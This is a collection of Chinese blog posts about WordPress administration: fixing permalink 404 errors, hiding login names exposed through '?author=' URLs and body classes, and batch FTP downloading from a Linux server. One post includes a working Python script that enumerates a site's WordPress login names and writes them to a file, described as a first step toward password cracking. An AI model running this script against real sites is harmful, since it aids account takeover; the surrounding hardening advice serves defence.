WordPress配置了Permalink Settings后页面访问NotFound

问题:

使用管理员账号,更新了Permalink Settings的值。保存设置后,点击网站首页左侧的访问树,返回响应码为“404”。

解决方案:

在网页:https://codex.wordpress.org/Using_Permalinks中有介绍了使用Permalink需要做哪些配置:

    • Apache web server with the mod_rewrite module installed
  • In WordPress’s home directory:
      • The FollowSymLinks option enabled
      • FileInfo directives allowed (e.g. AllowOverride FileInfo or AllowOverride All)
      • An .htaccess file (if this file is missing, WordPress will try to create it when you activate “pretty” permalinks)
      • If you want WordPress to update the .htaccess file automatically, WordPress will need write access to the file.

验证结果:

1.确认mod_rewrite 模块有开启:

虽然httpd.conf文件中没有mod_rewrite,但./modules/下面存在有:mod_rewrite.so。并且在手动往httpd.conf文件末尾添加了“LoadModule rewrite_module modules/mod_rewrite.so”,重启httpd服务的时候,会提示已加载过rewrite_module。

可认定该模块原来就已加载。

2.FollowSymLinks option要开启:

这个选项原来的环境就已开启。

3.FileInfo directives allowed:

原来的值是:AllowOverride None, 改成: AllowOverride All

这个时候,重启httpd服务,网页访问就已正常。

(后面还要关注下这种配置是否要影响网站的访问安全性)

避免WordPress登陆用户名被他人获取

这篇文章中假设www.baidu.com是一个WP网站。

问题场景:
在浏览器中通过输入网址:http://www.baidu.com/?author=2,响应结果中可获取WP用户登陆名。

本文正是为应对该漏洞引起的密码破解风险而写的解决方案。

应对方法:
1.针对网址中泄漏用户名的应对方法:

编辑:./wp-includes/author-template.php,在该文件末尾添加如下代码:

/**
* 修改url重写后的作者存档页的链接变量
*/
add_filter( 'author_link', 'lxtx_author_link', 10, 2 );
function lxtx_author_link( $link, $author_id) {
global $wp_rewrite;
$author_id = (int) $author_id;
$link = $wp_rewrite->get_author_permastruct();
if ( empty($link) ) {
$file = home_url( '/' );
$link = $file . '?author=' . $author_id;
} else {
$link = str_replace('%author%', $author_id, $link);
$link = home_url( user_trailingslashit( $link ) );
}
return $link;
}

/*
*  如果没有添加下面这个方法,
*  在发起了:http://www.baidu.com/?author=2请求后,页面会返回404 NOT FOUND。
*/

/**
* 替换作者的存档页的用户名,防止被其他用途
* 作者存档页链接有2个查询变量,
* 一个是author(作者用户id),用于未url重写
* 另一个是author_name(作者用户名),用于url重写
* 此处做的是,在url重写之后,把author_name替换为author
* @link https://www.wpdaxue.com/use-nickname-for-author-slug.html
*/

add_filter( 'request', 'lxtx_author_link_request' );
function lxtx_author_link_request( $query_vars ) {
if ( array_key_exists( 'author_name', $query_vars ) ) {
global $wpdb;
$author_id=$query_vars['author_name'];
if ( $author_id ) {
$query_vars['author'] = $author_id;
unset( $query_vars['author_name'] );
}
}
return $query_vars;
}

2. 针对BODY中class泄漏用户名的应对方法:

编辑:./wp-includes/functions.php,在该文件末尾添加如下代码:

/**
 *(全网独家)如何正确的避免你的 WordPress 管理员登录用户名被暴露 - 龙笑天下
 * http://www.ilxtx.com/further-hide-your-wordpress-admin-username.html
 * 说明:直接去掉函数 comment_class() 和 body_class() 中输出的 "comment-author-" 和 "author-"
 */
function lxtx_comment_body_class($content){ 
 $pattern = "/(.*?)([^>]*)author-([^>]*)(.*?)/i";
 $replacement = '$1$4';
 $content = preg_replace($pattern, $replacement, $content); 
 return $content;
}
add_filter('comment_class', 'lxtx_comment_body_class');
add_filter('body_class', 'lxtx_comment_body_class');

代理原理:

添加了一个过滤器,将涉及”body_class”和”comment_class”的请求重定向到方法:lxtx_comment_body_class来处理。该方法会通过正则匹配过滤掉响应报文里的name跟userid。


(本文所列PHP代码为引用,源作者地址附于文章末尾)
附:
原文链接
原创作者详细剖析

测试过程中,建议使用Chrome。如果用Firefox测试的话,即使PHP代码修改了,在Firefox页面刷新后还是显示不出代码修改后的效果,应该跟缓存有关。

[WordPress安全]利用爬虫抓取网站所有用户的登陆名

这篇文章中假设www.baidu.com是一个WP网站。

方法1:通过userid请求返回用户登陆名
请求网址:http://www.baidu.com/?author=2
响应网址:http://www.baidu.com/index.php/author/username/

通过这种方式可以获取userid=2的用户对应的WP登陆名为:username
这个网页的本意是查询这个用户创建的所有posts,但其实也暴露了该用户的登陆名。

涉及的函数:
./wp-includes/author-template.php
function get_author_posts_url()


方法2:通过html的body中获取到用户名
脚本功能:获取一个Wordpress网站所有用户的登陆名

#!/usr/bin/env python
# encoding: utf-8
# wp_get_auth.py

import requests
import sys
import os
import re

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings()

headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101 Firefox/43.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Connection': 'keep-alive'
}


def getAuthor():
    url = 'http://192.168.1.1/'
    for i in range(1, 50):

        geturl = url + "?author={}".format(i)
        print (geturl)

        try:
            global res
            res = requests.get(geturl, headers=headers, verify=False, timeout=10).content
        except Exception as e:
            print (str(e))

        p = re.compile(r'<body class="archive author author-(.+?) author-')
        matchs = []
        try:
            matchs = p.findall(res.decode())
        except UnicodeDecodeError:
            matchs = p.findall(res)

        for auth in matchs:
            fp = open('auth.txt', 'a')
            fp.write(auth + '\n')
            fp.close()


if __name__ == '__main__':
    getAuthor()

脚本运行原理:
通过向网站发送”GET”请求:
http://www.baidu.com/?author=1
http://www.baidu.com/?author=2
http://www.baidu.com/?author=3

未针对该漏洞事先防范的WP网站在返回的html响应中,会包含如下字符串:
<body class=”archive author author-name author-userid custom-background”>
这个字符串中:
name就是用于登陆WP使用的用户名,userid就是GET请求对应的传参。

通过遍历userid,发送对应的GET请求,就可以拿到该ID对应的登陆名。
在有了登陆名之后,登陆破解就成功了一半。

附:
1.该脚本源地址:
wordpress获取用户名脚本

2.该类型漏洞的应对方法:
修改functions.php以应对爬虫通过漏洞获取wp登陆名

[BAT脚本]把远程linux服务器上的大量文件按相同目录结构下载到本地windows

场景:远程linux服务器上有一个大小为600G的文件夹,里面包含130万个小文件,并且服务器上没有足够的空间可以生成这个文件夹的压缩文件。因而考虑使用ftp以批量化的方式把文件逐个下载。

处理思路:

1.先使用get_dir_list.sh得到linux服务器上目标文件夹下所有的目录结构,生成的目录数据保存在:all_dir_name.log

#!/bin/sh

src_dir=""

function getdir(){
    for element in `ls $1`
    do
        dir_or_file=$1"/"$element
        if [ -d ${dir_or_file} ]
        then
            echo ${dir_or_file}
            getdir ${dir_or_file}
#        else
#            echo ${dir_or_file}
        fi
    done
}

getdir ${src_dir} > /tmp/all_dir_name.log

2.把all_dir_name.log下载到本地linux,使用脚本:crt_dir_list.sh 创建出一个一样的目录结构。作用:这里创建的空目录,用于后面把远程对应目录下的文件下载过来。

#!/bin/sh

src_file=all_dir_name.log
new_dir_pre="/tmp/newdir"

while read dir_path
do
  #echo "line=["${dir_path}"]"
  new_path=${new_dir_pre}${dir_path}
  #echo "newline=["${new_path}"]"
  mkdir -p ${new_path}
done < ${src_file}

 

3.把本地创建好的空目录打成tar包拷贝到目标windows机器上,并解压目录

4.在windows机器上,利用脚本get_linux_file.bat,把远程linux服务器上的文件下载到本地对应目录中

@echo off
setlocal enabledelayedexpansion

set ftpUser=username

set ftpPass=password

set ftpIP=10.201.65.235

rem Attention:
rem Remote linux path must be ended with "/", like: /tmp/xxx/
rem Local windows path can not end with "/", like: C:/temp/xxxx
rem You have better edit path.log with Editor:"writing board" to avolid formate problem.
for /f "tokens=1-2 delims=," %%i in (local_linux_ftp_path1.log) do (
echo %%i
echo %%j

>"C:/temp/TempFTP.txt" (
echo,%ftpUser%
echo,%ftpPass%
echo cd "%%i"
echo lcd "%%j"
echo bin
echo mget *.*
echo bye
)

rem Attention:
rem Don't use "start" command to create a new window
ftp -v -i -s:"C:/temp/TempFTP.txt" %ftpIP%

rem Avolid multiple ftp process when use: start ftp 
:start
set a=0
for /f %%i in ('tasklist ^|findstr /i "ftp.exe"') do (
set /a a+=1
)

echo !a!

if !a! GEQ 1 (
echo CurrentDir=%%i
ping -n 3 127.0.0.1>nul
set a=0
goto start
)

del C:\temp\TempFTP.txt
)

rem src.txt每行的格式:
远程linux文件存放路径,本地windows保存路径

 

附:

windows读文件bat脚本:

@echo off

rem 设置本地延迟环境变量扩展
setlocal enabledelayedexpansion
rem tokens表示要取哪几个域
rem delims表示行内容的分隔符
rem 利用set来把拆分后的行内容保存在变量中
for /f "tokens=1-3 delims=," %%i in (src.txt) do (
set BL1=%%i
set BL2=%%j
set BL3=%%k
rem 在延迟变量扩展中,要使用!来引用变量
echo 变量一=!BL1!   变量二=!BL2!   变量三=!BL3!)

rem src.txt的内容为:
12,ww,qeq
22,rtyyy,aaa
65,ppo,lolo

src.txt生成脚本:

#!/bin/sh

linux_path=xxx.log
windows_path=xxx.log

dest_log_file=xxx.log

#sum_line=`wc -l ${linux_path}`
#sum_line=`expr ${sum_line} + 1`
                
cnt=1

# clear log file
> ${dest_log_file}
       
#linux_line=`sed -n "${cnt}p" ${linux_path}`
#echo "line_line="${linux_line}
 
#while [ ${cnt} -lt ${sum_line} ]
while [ ${cnt} -le 4912 ]
do             
        linux_line=`sed -n "${cnt}p" ${linux_path}`
        windows_line=`sed -n "${cnt}p" ${windows_path}`
               
        echo ${linux_line}","${windows_line} >> ${dest_log_file}

        cnt=`expr ${cnt} + 1`
done